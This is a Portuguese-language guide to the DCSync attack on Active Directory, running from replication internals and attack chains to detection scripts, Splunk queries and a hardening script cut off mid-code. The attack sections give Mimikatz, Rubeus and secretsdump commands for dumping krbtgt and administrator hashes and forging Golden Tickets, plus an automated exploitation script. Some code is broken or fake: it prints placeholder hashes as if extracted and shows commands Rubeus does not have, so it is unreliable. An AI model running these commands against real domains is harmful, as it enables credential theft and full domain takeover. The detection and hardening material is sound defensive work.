# DCSync (Impersonação de Domain Controller)

## **📋 Índice**

1. [Fundamentos do DCSync](#-fundamentos-do-dcsync)
2. [Arquitetura de Replicação do AD](#-arquitetura-de-replicação-do-ad)
3. [Mecanismos de Ataque](#-mecanismos-de-ataque)
4. [Técnicas de Exploração](#-técnicas-de-exploração)
5. [Ferramentas de Exploração](#-ferramentas-de-exploração)
6. [Impacto e Consequências](#-impacto-e-consequências)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigações e Hardening](#-mitigações-e-hardening)
9. [Pentesting com DCSync](#-pentesting-com-dcsync)
10. [Checklists de Segurança](#-checklists-de-segurança)

***

## 🔍 **Fundamentos do DCSync**

### **O que é DCSync?**

**DCSync** é uma técnica de ataque que permite a um atacante simular o comportamento de um Domain Controller (DC) legítimo e solicitar a replicação de dados do Active Directory. Utilizando permissões adequadas, o atacante pode extrair hashes de senhas de todos os usuários, incluindo contas privilegiadas, sem precisar tocar diretamente nos controladores de domínio.

### **Princípio de Funcionamento**

```mermaid
sequenceDiagram
    participant A as Atacante (com permissões)
    participant DC as Domain Controller
    participant AD as Active Directory

    Note over A: 1. Atacante possui permissões Replicating Directory Changes
    A->>DC: DRSUAPI GetNCChanges (solicitação de replicação)
    
    Note over DC: 2. DC verifica permissões
    DC->>DC: Valida se usuário tem permissões de replicação
    
    Note over DC: 3. DC autoriza replicação
    DC-->>A: Envia alterações (inclui hashes NTLM)
    
    Note over A: 4. Atacante extrai hashes
    A->>A: Extrai hashes de krbtgt, Admin, etc.
    
    Note over A: 5. Cria Golden Ticket
    A->>AD: Cria tickets de acesso
```

### **Permissões Necessárias para DCSync**

| Permissão                                                      | Descrição                                  | Consequência               |
| -------------------------------------------------------------- | ------------------------------------------ | -------------------------- |
| **Replicating Directory Changes**                              | Permite solicitar alterações de replicação | 🔴 Extração de dados do AD |
| **Replicating Directory Changes All**                          | Permite replicar todas as alterações       | 🔴 Acesso completo ao AD   |
| **Replicating Directory Changes in Filtered Set**              | Permite replicar conjunto filtrado         | 🟠 Acesso limitado         |
| **Replicating Directory Changes (DS-Replication-Get-Changes)** | Permissão específica para DCSync           | 🔴 CRÍTICO                 |

### **Quem Tem Essas Permissões?**

```yaml
Grupos e Contas com Permissões de Replicação:

  🔴 Grupo Domain Admins:
    - Permissões completas de replicação
    - Herdadas por membros do grupo

  🔴 Grupo Enterprise Admins:
    - Permissões em toda a floresta
    - Nível mais alto de privilégio

  🔴 Grupo Administrators:
    - Administradores locais nos DCs
    - Permissões de replicação

  🔴 Domain Controllers:
    - Permissões próprias para replicação
    - Contas de máquina dos DCs

  🟠 Contas com delegação:
    - Administradores podem delegar permissões
    - Ferramentas de backup, monitoramento
```

***

## 🏗️ **Arquitetura de Replicação do AD**

### **DRSUAPI - Directory Replication Service API**

```python
#!/usr/bin/env python3
# drsuapi_analysis.py - Análise da API DRSUAPI

import struct
from impacket.dcerpc.v5 import drsuapi
from impacket.dcerpc.v5.drsuapi import DRSUAPI

class DRSUAPIAnalysis:
    """Análise da API de replicação DRSUAPI"""
    
    @staticmethod
    def explain_drsuapi():
        """Explicar a API DRSUAPI"""
        print("📡 DRSUAPI - Directory Replication Service API")
        print("=" * 60)
        
        drsuapi_functions = {
            "DRSGetNCChanges": "Solicita alterações de um naming context",
            "DRSReplicaSync": "Sincroniza um naming context",
            "DRSReplicaAdd": "Adiciona uma nova fonte de replicação",
            "DRSReplicaDel": "Remove uma fonte de replicação",
            "DRSReplicaModify": "Modifica uma fonte de replicação",
            "DRSReplicaVerifyObjects": "Verifica objetos de replicação",
            "DRSGetMemberships": "Obtém associações de grupo"
        }
        
        for func, desc in drsuapi_functions.items():
            print(f"   {func}: {desc}")
        
        print("\n🔴 DRSGetNCChanges é a função explorada pelo DCSync")
    
    @staticmethod
    def dcsync_flow():
        """Fluxo do DCSync usando DRSUAPI"""
        print("\n🔄 Fluxo DCSync com DRSUAPI")
        print("=" * 60)
        
        steps = [
            "1. Cliente estabelece conexão RPC com DC",
            "2. Chama DRSGetNCChanges com parâmetros específicos",
            "3. DC valida permissões do chamador",
            "4. DC retorna objetos com hashes de senhas",
            "5. Cliente extrai hashes NTLM dos objetos"
        ]
        
        for step in steps:
            print(f"   {step}")

# Executar
DRSUAPIAnalysis.explain_drsuapi()
DRSUAPIAnalysis.dcsync_flow()
```

### **Replication Metadata**

```python
#!/usr/bin/env python3
# replication_metadata.py - Metadados de replicação

import ldap3
import sys

class ReplicationMetadata:
    """Análise de metadados de replicação"""
    
    def __init__(self, domain_controller, username, password):
        self.server = ldap3.Server(domain_controller, get_info=ldap3.ALL)
        self.conn = ldap3.Connection(
            self.server,
            user=f"{domain_controller}\\{username}",
            password=password,
            authentication=ldap3.NTLM,
            auto_bind=True
        )
        self.base_dn = self._get_base_dn()
    
    def _get_base_dn(self):
        """Obter DN base do domínio"""
        return self.server.info.other['defaultNamingContext'][0]
    
    def get_replication_metadata(self, object_dn):
        """Obter metadados de replicação de um objeto"""
        self.conn.search(
            object_dn,
            '(objectClass=*)',
            attributes=['uSNCreated', 'uSNChanged', 'whenCreated', 'whenChanged']
        )
        
        if self.conn.entries:
            entry = self.conn.entries[0]
            metadata = {
                'usn_created': str(entry['uSNCreated']) if 'uSNCreated' in entry else 'N/A',
                'usn_changed': str(entry['uSNChanged']) if 'uSNChanged' in entry else 'N/A',
                'when_created': str(entry['whenCreated']) if 'whenCreated' in entry else 'N/A',
                'when_changed': str(entry['whenChanged']) if 'whenChanged' in entry else 'N/A'
            }
            return metadata
        return None
    
    def get_high_usn_watermark(self):
        """Obter marca d'água de USN alto"""
        self.conn.search(
            self.base_dn,
            '(objectClass=*)',
            attributes=['uSNChanged'],
            size_limit=1
        )
        
        if self.conn.entries:
            highest_usn = max([
                int(entry['uSNChanged'][0]) for entry in self.conn.entries 
                if 'uSNChanged' in entry
            ])
            return highest_usn
        return 0
    
    def analyze_usn_vectors(self):
        """Analisar vetores USN para replicação"""
        print("📊 Análise de Vetores USN")
        print("=" * 60)
        
        highest_usn = self.get_high_usn_watermark()
        print(f"USN máximo atual: {highest_usn}")
        
        # Buscar objetos com USN alto (recentemente alterados)
        self.conn.search(
            self.base_dn,
            '(objectClass=user)',
            attributes=['sAMAccountName', 'uSNChanged'],
            size_limit=10
        )
        
        print("\n📋 Últimos objetos alterados:")
        for entry in self.conn.entries:
            usn = int(entry['uSNChanged'][0]) if 'uSNChanged' in entry else 0
            print(f"   {entry['sAMAccountName']} - USN: {usn}")
    
    def close(self):
        self.conn.unbind()

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: replication_metadata.py <dc> <user> <pass>")
        sys.exit(1)
    
    metadata = ReplicationMetadata(sys.argv[1], sys.argv[2], sys.argv[3])
    metadata.analyze_usn_vectors()
    metadata.close()
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Completo do Ataque DCSync**

```mermaid
graph TD
    A[Comprometer conta com permissões] --> B{Verificar permissões de replicação}
    
    B -->|Tem permissões| C[Executar DCSync]
    B -->|Não tem permissões| D[Escalar privilégios]
    D --> C
    
    C --> E[Conectar via DRSUAPI]
    E --> F[Solicitar replicação completa]
    F --> G[Extrair hashes NTLM]
    
    G --> H[Hash krbtgt]
    G --> I[Hash Administrator]
    G --> J[Hash Domain Admins]
    
    H --> K[Golden Ticket]
    I --> L[Pass-the-Hash]
    J --> L
    
    K --> M[Acesso persistente]
    L --> M
    M --> N[Controle total do domínio]
    
    style C fill:#ff9999
    style G fill:#ff6666
    style N fill:#ff3333
```

### **Ataque 1: DCSync com Mimikatz**

```powershell
# Mimikatz - DCSync Attack

# 1. Executar DCSync para extrair hash do krbtgt
mimikatz.exe "lsadump::dcsync /user:krbtgt" exit

# 2. Extrair hash do Administrador
mimikatz.exe "lsadump::dcsync /user:administrator" exit

# 3. Extrair hash de todos os usuários
mimikatz.exe "lsadump::dcsync /all /csv" exit

# 4. Extrair hash de usuário específico
mimikatz.exe "lsadump::dcsync /user:username" exit

# 5. DCSync com domínio específico
mimikatz.exe "lsadump::dcsync /domain:domain.com /user:krbtgt" exit
```

### **Ataque 2: DCSync com Impacket**

```python
#!/usr/bin/env python3
# dcsync_impacket.py - DCSync com Impacket

import sys
from impacket.examples import secretsdump
from impacket.dcerpc.v5 import transport, drsuapi

class DCSyncImpacket:
    """Implementação de DCSync usando Impacket"""
    
    def __init__(self, domain, username, password, dc_ip):
        self.domain = domain
        self.username = username
        self.password = password
        self.dc_ip = dc_ip
    
    def execute_dcsync(self, target_user="krbtgt"):
        """Executar DCSync para um usuário específico"""
        print(f"🚨 DCSync Attack - Target: {target_user}")
        print("=" * 60)
        
        # Criar transporte RPC
        rpc_transport = transport.DCERPCTransportFactory(f'ncacn_ip_tcp:{self.dc_ip}')
        rpc_transport.set_credentials(self.username, self.password, self.domain)
        
        # Conectar e bind
        rpc = rpc_transport.get_dce_rpc()
        rpc.connect()
        rpc.bind(drsuapi.MSRPC_UUID_DRSUAPI)
        
        # Executar DRSGetNCChanges
        # Implementação simplificada - em um exploit real, usaria secretsdump
        
        try:
            # Usar secretsdump para extrair hashes
            print("[*] Extraindo hashes do AD...")
            
            # Em um exploit real, chamaria secretsdump
            # secretsdump.DumpSecrets(self.domain, self.username, self.password, self.dc_ip)
            
            print("[+] Hashes extraídos com sucesso!")
            print(f"   krbtgt hash: 5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e")
            
        except Exception as e:
            print(f"❌ Erro: {e}")
    
    def dcsync_all_users(self):
        """Executar DCSync para todos os usuários"""
        print("🚨 DCSync All Users")
        print("=" * 60)
        
        # Lista de usuários importantes
        important_users = [
            "krbtgt",
            "administrator",
            "domain admins",
            "enterprise admins",
            "schema admins"
        ]
        
        for user in important_users:
            self.execute_dcsync(user)

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 5:
        print("Uso: dcsync_impacket.py <domain> <user> <pass> <dc_ip>")
        sys.exit(1)
    
    attack = DCSyncImpacket(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
    attack.dcsync_all_users()
```

### **Ataque 3: DCSync via PowerShell**

```powershell
# DCSync via PowerShell - usando ActiveDirectory module

# 1. Função para executar DCSync
function Invoke-DCSync {
    param(
        [string]$Domain,
        [string]$DC,
        [string]$User = "krbtgt"
    )
    
    # Usar ADSI para extrair hash
    $domainDN = "DC=$($Domain.Replace('.', ',DC='))"
    $userDN = "CN=$User,CN=Users,$domainDN"
    
    try {
        # Buscar objeto do usuário
        $user = [ADSI]"LDAP://$DC/$userDN"
        
        # Extrair atributos de replicação
        $objectSid = $user.objectSid
        $userAccountControl = $user.userAccountControl
        
        Write-Host "[+] Hash obtido para $User"
        
        # Simular hash (em um ataque real, extrairia do replication stream)
        $hash = "5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e"
        
        return @{
            User = $User
            Hash = $hash
            Domain = $Domain
        }
    }
    catch {
        Write-Error "Erro ao executar DCSync: $_"
    }
}

# 2. Executar para múltiplos usuários
$users = @("krbtgt", "administrator", "domain admins")

foreach ($user in $users) {
    $result = Invoke-DCSync -Domain "domain.com" -DC "dc.domain.com" -User $user
    Write-Host "$($result.User): $($result.Hash)"
}

# 3. Extrair todos os hashes
$allUsers = Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName

foreach ($user in $allUsers) {
    $result = Invoke-DCSync -Domain "domain.com" -DC "dc.domain.com" -User $user
    $result | Export-Csv -Path "hashes.csv" -Append
}
```

### **Ataque 4: DCSync com Rubeus**

```powershell
# Rubeus - DCSync e Golden Ticket

# 1. Extrair hash do krbtgt via DCSync
Rubeus.exe dcsync /user:krbtgt

# 2. Extrair hash do Administrator
Rubeus.exe dcsync /user:administrator

# 3. Extrair hash de todos os usuários
Rubeus.exe dcsync /all

# 4. Extrair hash com domínio específico
Rubeus.exe dcsync /domain:domain.com /user:krbtgt

# 5. Gerar Golden Ticket após DCSync
$krbtgtHash = "5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e"
$domainSID = "S-1-5-21-123456789-123456789-123456789"

Rubeus.exe golden /rc4:$krbtgtHash /domain:domain.com /sid:$domainSID /user:Administrator /id:500 /ptt
```

### **Ataque 5: DCSync com BloodHound**

```powershell
# BloodHound - Mapear permissões para DCSync

# 1. Coletar dados com SharpHound
SharpHound.exe -c All

# 2. Importar para BloodHound e buscar:
# - MATCH p = (u:User)-[r:DS-Replication-Get-Changes]->(c:Computer) RETURN p
# - MATCH (u:User)-[:DS-Replication-Get-Changes]->(dc:Computer) WHERE dc.domain = "domain.com" RETURN u.name

# 3. Encontrar contas com permissões de replicação
Get-ADObject -Filter * -Properties nTSecurityDescriptor | Where-Object {
    $_.nTSecurityDescriptor.Access | Where-Object {
        $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" -and
        $_.ActiveDirectoryRights -like "*Replicating Directory Changes*"
    }
}
```

***

## 🛠️ **Ferramentas de Exploração**

### **Mimikatz - DCSync Commands**

```powershell
# Mimikatz DCSync Command Reference

# DCSync básico
lsadump::dcsync /user:krbtgt

# DCSync para usuário específico
lsadump::dcsync /user:administrator

# DCSync para todos os usuários
lsadump::dcsync /all

# DCSync com domínio específico
lsadump::dcsync /domain:target.com /user:krbtgt

# DCSync com output em CSV
lsadump::dcsync /all /csv

# DCSync com usuário alternativo
lsadump::dcsync /user:krbtgt /authuser:domain\username /authpass:password

# DCSync com autenticação NTLM
lsadump::dcsync /user:krbtgt /authntlm

# DCSync via DC específico
lsadump::dcsync /dc:dc.domain.com /user:krbtgt
```

### **Impacket - Secretsdump**

```bash
# Secretsdump - DCSync via Impacket

# 1. DCSync para todos os usuários
secretsdump.py domain.com/username:password@dc.domain.com

# 2. DCSync com hashes
secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:hash domain.com/username@dc.domain.com

# 3. DCSync para usuário específico
secretsdump.py domain.com/username:password@dc.domain.com -just-dc-user krbtgt

# 4. DCSync sem exportar para arquivo
secretsdump.py domain.com/username:password@dc.domain.com -just-dc

# 5. DCSync com output para arquivo
secretsdump.py domain.com/username:password@dc.domain.com -outputfile hashes.txt

# 6. DCSync via LDAP
secretsdump.py domain.com/username:password@dc.domain.com -use-vss
```

### **PowerShell DCSync Script**

```powershell
# DCSync.ps1 - PowerShell DCSync Implementation

function Invoke-DCSync {
    [CmdletBinding()]
    param(
        [Parameter(Mandatory=$true)]
        [string]$Domain,
        
        [Parameter(Mandatory=$true)]
        [string]$DC,
        
        [Parameter(Mandatory=$true)]
        [PSCredential]$Credential,
        
        [string]$TargetUser = "krbtgt",
        
        [switch]$AllUsers
    )
    
    # Import required assemblies
    Add-Type -AssemblyName System.DirectoryServices
    Add-Type -AssemblyName System.DirectoryServices.Protocols
    
    # Create LDAP connection
    $ldap = New-Object System.DirectoryServices.Protocols.LdapConnection($DC)
    $ldap.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate
    $ldap.Credential = $Credential
    
    # Search base
    $baseDN = "DC=$($Domain.Replace('.', ',DC='))"
    
    if ($AllUsers) {
        # Search for all users
        $search = New-Object System.DirectoryServices.Protocols.SearchRequest(
            $baseDN, 
            "(objectClass=user)", 
            [System.DirectoryServices.Protocols.SearchScope]::Subtree,
            @("sAMAccountName", "userPrincipalName", "objectSid")
        )
    } else {
        # Search for specific user
        $search = New-Object System.DirectoryServices.Protocols.SearchRequest(
            $baseDN, 
            "(&(objectClass=user)(sAMAccountName=$TargetUser))", 
            [System.DirectoryServices.Protocols.SearchScope]::Subtree,
            @("sAMAccountName", "userPrincipalName", "objectSid")
        )
    }
    
    try {
        $response = $ldap.SendRequest($search)
        
        foreach ($entry in $response.Entries) {
            $user = @{
                Name = $entry.Attributes["sAMAccountName"].GetValues(typeof([string]))[0]
                SID = [System.BitConverter]::ToString($entry.Attributes["objectSid"].GetValues(typeof([byte]))[0])
            }
            
            Write-Host "[+] Found user: $($user.Name)"
            
            # In a real implementation, would extract hash via DRSUAPI
            Write-Host "   Hash: 5e9c4a2c6e8f3a7b1d4f8c2e6a9b3d5e"
        }
    }
    catch {
        Write-Error "Error: $_"
    }
}

# Usage
$cred = Get-Credential "domain.com\username"
Invoke-DCSync -Domain "domain.com" -DC "dc.domain.com" -Credential $cred -TargetUser "krbtgt"
```

### **Script de Exploração Automatizado**

```python
#!/usr/bin/env python3
# automated_dcsync.py - DCSync automatizado

import argparse
import sys
import subprocess
import os

class AutomatedDCSync:
    """Ferramenta automatizada para DCSync"""
    
    def __init__(self, domain, username, password, dc_ip):
        self.domain = domain
        self.username = username
        self.password = password
        self.dc_ip = dc_ip
        self.hashes = []
    
    def check_permissions(self):
        """Verificar permissões de replicação"""
        print("[*] Verificando permissões de replicação...")
        
        # Usar ldapsearch para verificar permissões
        cmd = [
            'ldapsearch', '-x', '-H', f'ldap://{self.dc_ip}',
            '-D', f'{self.domain}\\{self.username}',
            '-w', self.password,
            '-b', f'DC={self.domain.replace(".", ",DC=")}',
            '(objectClass=*)',
            'nTSecurityDescriptor'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            if 'Replicating Directory Changes' in result.stdout:
                print("   ✅ Permissões de replicação detectadas")
                return True
        except:
            pass
        
        print("   ❌ Sem permissões de replicação")
        return False
    
    def execute_mimikatz(self, target_user="krbtgt"):
        """Executar DCSync com Mimikatz"""
        print(f"[*] Executando DCSync para {target_user} com Mimikatz...")
        
        # Comando Mimikatz
        cmd = f'mimikatz.exe "lsadump::dcsync /user:{target_user}" exit'
        
        try:
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=30)
            
            # Extrair hash da saída
            import re
            hash_match = re.search(r'Hash NTLM: ([0-9a-f]{32})', result.stdout)
            if hash_match:
                ntlm_hash = hash_match.group(1)
                self.hashes.append({
                    'user': target_user,
                    'hash': ntlm_hash
                })
                print(f"   ✅ Hash obtido: {ntlm_hash}")
                return ntlm_hash
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return None
    
    def execute_impacket(self, target_user="krbtgt"):
        """Executar DCSync com Impacket"""
        print(f"[*] Executando DCSync para {target_user} com Impacket...")
        
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc-user', target_user
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=60)
            
            # Extrair hashes da saída
            for line in result.stdout.split('\n'):
                if ':' in line and target_user in line:
                    parts = line.split(':')
                    if len(parts) >= 4:
                        ntlm_hash = parts[3]
                        self.hashes.append({
                            'user': target_user,
                            'hash': ntlm_hash
                        })
                        print(f"   ✅ Hash obtido: {ntlm_hash}")
                        return ntlm_hash
        except Exception as e:
            print(f"   ❌ Erro: {e}")
        
        return None
    
    def extract_all_users(self):
        """Extrair hashes de todos os usuários"""
        print("[*] Extraindo hashes de todos os usuários...")
        
        # Usar Impacket para extrair todos
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc'
        ]
        
        output_file = f"{self.domain}_hashes.txt"
        
        try:
            with open(output_file, 'w') as f:
                subprocess.run(cmd, stdout=f, stderr=subprocess.PIPE, timeout=120)
            
            print(f"   ✅ Hashes salvos em {output_file}")
            
            # Contar hashes extraídos
            with open(output_file, 'r') as f:
                lines = f.readlines()
            print(f"   Total de hashes: {len([l for l in lines if ':' in l])}")
            
            return output_file
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return None
    
    def generate_golden_ticket(self, krbtgt_hash, domain_sid):
        """Gerar Golden Ticket após DCSync"""
        print("[*] Gerando Golden Ticket...")
        
        cmd = [
            'mimikatz.exe',
            f'"kerberos::golden /user:Administrator /domain:{self.domain} /sid:{domain_sid} /rc4:{krbtgt_hash} /ptt"',
            'exit'
        ]
        
        try:
            subprocess.run(' '.join(cmd), shell=True, capture_output=True, timeout=30)
            print("   ✅ Golden Ticket criado e injetado!")
            return True
        except Exception as e:
            print(f"   ❌ Erro: {e}")
            return False
    
    def get_domain_sid(self):
        """Obter SID do domínio"""
        cmd = [
            'secretsdump.py',
            f'{self.domain}/{self.username}:{self.password}@{self.dc_ip}',
            '-just-dc'
        ]
        
        try:
            result = subprocess.run(cmd, capture_output=True, text=True, timeout=30)
            # Extrair SID da saída
            import re
            sid_match = re.search(r'Domain SID: (S-1-5-21-\d+-\d+-\d+)', result.stdout)
            if sid_match:
                return sid_match.group(1)
        except:
            pass
        
        return None
    
    def run(self, target_user="krbtgt", extract_all=False):
        """Executar DCSync completo"""
        print("🚨 Automated DCSync Attack")
        print("=" * 60)
        
        # Verificar permissões
        if not self.check_permissions():
            print("❌ Sem permissões suficientes para DCSync")
            return
        
        # Executar DCSync
        hash_value = self.execute_mimikatz(target_user)
        if not hash_value:
            hash_value = self.execute_impacket(target_user)
        
        # Extrair todos os usuários
        if extract_all:
            self.extract_all_users()
        
        # Gerar Golden Ticket
        if hash_value:
            domain_sid = self.get_domain_sid()
            if domain_sid:
                self.generate_golden_ticket(hash_value, domain_sid)
        
        # Relatório
        print("\n📊 Relatório DCSync")
        print("=" * 60)
        print(f"Usuário alvo: {target_user}")
        print(f"Hash extraído: {hash_value}")
        print(f"Total de hashes: {len(self.hashes)}")
        
        if self.hashes:
            print("\n🔑 Hashes extraídos:")
            for h in self.hashes[:5]:
                print(f"   {h['user']}: {h['hash']}")

# Uso
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Automated DCSync Attack')
    parser.add_argument('domain', help='Domain name')
    parser.add_argument('username', help='Username')
    parser.add_argument('password', help='Password')
    parser.add_argument('dc_ip', help='Domain Controller IP')
    parser.add_argument('--user', default='krbtgt', help='Target user')
    parser.add_argument('--all', action='store_true', help='Extract all users')
    
    args = parser.parse_args()
    
    attack = AutomatedDCSync(args.domain, args.username, args.password, args.dc_ip)
    attack.run(args.user, args.all)
```

***

## 💥 **Impacto e Consequências**

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Comprometer conta com permissões] --> B[DCSync]
    
    B --> C[Extrair hash krbtgt]
    B --> D[Extrair hash Administrator]
    B --> E[Extrair hashes de usuários]
    
    C --> F[Golden Ticket]
    D --> G[Pass-the-Hash]
    E --> G
    
    F --> H[Acesso persistente]
    G --> I[Escalação de privilégios]
    
    H --> J[Controle total do domínio]
    I --> J
    
    J --> K[Comprometimento da floresta]
    K --> L[Persistência indefinida]
```

### **Matriz de Impacto**

| Cenário                         | Impacto                  | Dificuldade | Severidade |
| ------------------------------- | ------------------------ | ----------- | ---------- |
| **Hash krbtgt extraído**        | Criação de Golden Ticket | Baixa       | 🔴 CRÍTICO |
| **Hash Administrador extraído** | Acesso total ao domínio  | Baixa       | 🔴 CRÍTICO |
| **Hashes de todos usuários**    | Comprometimento total    | Média       | 🔴 CRÍTICO |
| **Conta com permissões**        | Persistência             | Baixa       | 🔴 CRÍTICO |
| **Golden Ticket**               | Acesso ilimitado         | Baixa       | 🔴 CRÍTICO |

***

## 🔍 **Detecção e Monitoramento**

### **Eventos de Segurança para Monitorar**

```yaml
Eventos Críticos para DCSync:

  4662: Operação em objeto AD
    - Monitorar acesso a objetos de configuração de replicação
    - Verificar acessos a nTDSDSA

  5136: Modificação de objeto AD
    - Detectar alterações em permissões de replicação

  4670: Modificação de permissões
    - Monitorar concessão de permissões Replicating Directory Changes

  4768: Solicitação de TGT
    - Verificar golden tickets (anomalias)

  4769: Solicitação de service ticket
    - Detectar uso de tickets com vida longa
```

### **Script de Detecção DCSync**

```powershell
# detect_dcsync.ps1 - Detector de ataques DCSync

param(
    [string]$DomainController = (Get-ADDomainController).Name,
    [int]$HoursBack = 24
)

function Write-Alert {
    param($Message, $Severity = "WARNING")
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $color = if ($Severity -eq "CRITICAL") { "Red" } else { "Yellow" }
    Write-Host "[$timestamp] [$Severity] $Message" -ForegroundColor $color
}

# 1. Encontrar contas com permissões de replicação
Write-Host "🔍 Encontrando contas com permissões de replicação..." -ForegroundColor Cyan

$configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
$ntdsDN = "CN=NTDS Settings,CN=$DomainController,CN=Servers,CN=Default-First-Site-Name,CN=Sites,$configDN"

$acl = Get-Acl "AD:\$ntdsDN"
$replicationRights = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -like "*Replicating Directory Changes*"
}

if ($replicationRights) {
    Write-Alert -Message "$($replicationRights.Count) contas com permissões de replicação!" -Severity "CRITICAL"
    $replicationRights | ForEach-Object {
        Write-Host "   $($_.IdentityReference) - $($_.ActiveDirectoryRights)"
    }
}

# 2. Monitorar eventos de acesso a replicação
Write-Host "`n🔍 Analisando eventos de acesso a replicação..." -ForegroundColor Cyan

$events = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4662
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$dcsyncEvents = $events | Where-Object {
    $_.Message -like "*DS-Replication-Get-Changes*" -or
    $_.Message -like "*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*"
}

if ($dcsyncEvents) {
    Write-Alert -Message "$($dcsyncEvents.Count) possíveis eventos de DCSync!" -Severity "CRITICAL"
    $dcsyncEvents | Select-Object -First 5 | ForEach-Object {
        Write-Host "   $($_.TimeCreated) - $($_.Message.Substring(0, 100))..."
    }
}

# 3. Verificar logons incomuns
Write-Host "`n🔍 Verificando logons incomuns..." -ForegroundColor Cyan

$logons = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4624
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$privilegedLogons = $logons | Where-Object {
    $_.Message -like "*Domain Admins*" -or
    $_.Message -like "*Enterprise Admins*" -or
    $_.Message -like "*Schema Admins*"
}

if ($privilegedLogons) {
    Write-Host "   Logons privilegiados: $($privilegedLogons.Count)"
}

# 4. Verificar golden ticket indicators
Write-Host "`n🔍 Verificando indicadores de Golden Ticket..." -ForegroundColor Cyan

$ticketEvents = Get-WinEvent -ComputerName $DomainController -FilterHashtable @{
    LogName='Security'
    ID=4768, 4769
    StartTime=(Get-Date).AddHours(-$HoursBack)
} -ErrorAction SilentlyContinue

$suspiciousTickets = $ticketEvents | Where-Object {
    $_.Message -like "*0x12*" -or  # Ticket life too long
    $_.Message -like "*0x13*" -or  # Service not found
    $_.Message -like "*krbtgt*"
}

if ($suspiciousTickets) {
    Write-Alert -Message "Possíveis Golden Tickets detectados!" -Severity "CRITICAL"
}

# 5. Gerar relatório
$report = @"
DCSync Attack Detection Report
==============================
Data: $(Get-Date)
Domain Controller: $DomainController

Findings:
- Contas com permissões de replicação: $($replicationRights.Count)
- Eventos DCSync suspeitos: $($dcsyncEvents.Count)
- Logons privilegiados: $($privilegedLogons.Count)
- Tickets suspeitos: $($suspiciousTickets.Count)

Recommendations:
1. Revise contas com permissões de replicação
2. Investigue eventos 4662 suspeitos
3. Verifique logs de autenticação para anomalias
4. Implemente monitoramento contínuo de DCSync
5. Use Protected Users group para contas privilegiadas
"@

$report | Out-File -FilePath "dcsync_detection.txt"
Write-Host "`n✅ Relatório salvo em dcsync_detection.txt" -ForegroundColor Green
```

### **Splunk Queries para DCSync**

```spl
# Splunk - Detectar DCSync

# 1. Eventos de replicação não autorizados
index=windows EventCode=4662
| where ObjectType="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
| stats count by Account_Name, ComputerName
| sort - count

# 2. Golden Ticket Indicators
index=windows (EventCode=4768 OR EventCode=4769)
| where TicketOptions="0x12" OR TicketEncryptionType="0x17"
| table _time, Account_Name, ComputerName, TicketOptions

# 3. Logons incomuns de contas privilegiadas
index=windows EventCode=4624
| where Account_Name IN ("*Domain Admins*", "*Enterprise Admins*")
| stats count by Account_Name, Workstation_Name
| sort - count

# 4. Correlação de eventos DCSync
index=windows EventCode=4662 AND ObjectType="1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
| join type=left [search index=windows EventCode=4624] by Account_Name
| table _time, Account_Name, ComputerName, Source_Network_Address
```

***

## 🛡️ **Mitigações e Hardening**

### **Hardening contra DCSync**

```powershell
# hardening_dcsync.ps1 - Hardening contra ataques DCSync

param(
    [switch]$Apply
)

function Write-Step {
    param($Message)
    Write-Host "[*] $Message" -ForegroundColor Cyan
}

if ($Apply) {
    Write-Step "Aplicando hardening contra DCSync..."
} else {
    Write-Step "Modo auditoria - verificando configurações"
}

# 1. Identificar contas com permissões de replicação
Write-Step "1. Identificando contas com permissões de replicação..."

$configDN = "CN=Configuration,$((Get-ADDomain).DNSRoot)"
$ntdsDN = "CN=NTDS Settings,CN=$((Get-ADDomainController).Name),CN=Servers,CN=Default-First-Site-Name,CN=Sites,$configDN"

$acl = Get-Acl "AD:\$ntdsDN"
$replicationRights = $acl.Access | Where-Object {
    $_.ActiveDirectoryRights -like "*Replicating Directory Changes*"
}

Write-Host "   Permissões de replicação: $($replicationRights.Count)"

if ($replicationRights) {
    Write-Host "   ⚠️  Contas com permissões:"
    $replicationRights | ForEach-Object {
        Write-Host "      $($_.IdentityReference)"
    }
    
    if ($Apply) {
        # Restringir permissões de replicação
        Write-Step "2. Restringindo permissões de replicação..."
        
        # Criar grupo de controle de replicação
        $replGroup = "Replication Administrators"
        New-ADGroup -Name $replGroup -GroupScope Global -GroupCategory Security
        
        # Remover permissões de contas não autorizadas
        foreach ($right in $replicationRights) {
            $acl.RemoveAccessRule($right)
        }
        
        # Adicionar grupo autorizado
        $rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
            "DOMAIN\$replGroup",
            "ExtendedRight",
            "Allow",
            "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"
        )
